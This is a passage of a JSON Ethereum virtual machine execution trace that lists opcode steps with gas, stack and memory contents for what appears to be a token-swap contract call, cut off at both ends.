0000000000000000000000"]},{"pc":8528,"op":"MSTORE","gas":117021,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":8529,"op":"PUSH1","gas":117015,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8531,"op":"SWAP2","gas":117012,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xffffffffffffffffffffffffffffffffffffffff","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8532,"op":"DUP3","gas":117009,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xffffffffffffffffffffffffffffffffffffffff","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8533,"op":"SWAP2","gas":117006,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xffffffffffffffffffffffffffffffffffffffff","0x160","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8534,"op":"DUP3","gas":117003,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x160","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8535,"op":"SWAP2","gas":117000,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x160","0xffffffffffffffffffffffffffffffffffffffff","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8536,"op":"PUSH32","gas":116997,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xffffffffffffffffffffffffffffffffffffffff","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8569,"op":"SWAP1","gas":116994,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xffffffffffffffffffffffffffffffffffffffff","0x160","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8570,"op":"SWAP2","gas":116991,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xffffffffffffffffffffffffffffffffffffffff","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8571,"op":"AND","gas":116988,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x160","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8572,"op":"SWAP1","gas":116985,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x160","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8573,"op":"PUSH4","gas":116982,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8578,"op":"SWAP1","gas":116979,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x160","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8579,"op":"PUSH1","gas":116976,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8581,"op":"ADD","gas":116973,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x160","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8582,"op":"PUSH1","gas":116970,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8584,"op":"PUSH1","gas":116967,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1a4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8586,"op":"MLOAD","gas":116964,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1a4","0x20","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8587,"op":"DUP1","gas":116961,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1a4","0x20","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8588,"op":"DUP4","gas":116958,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f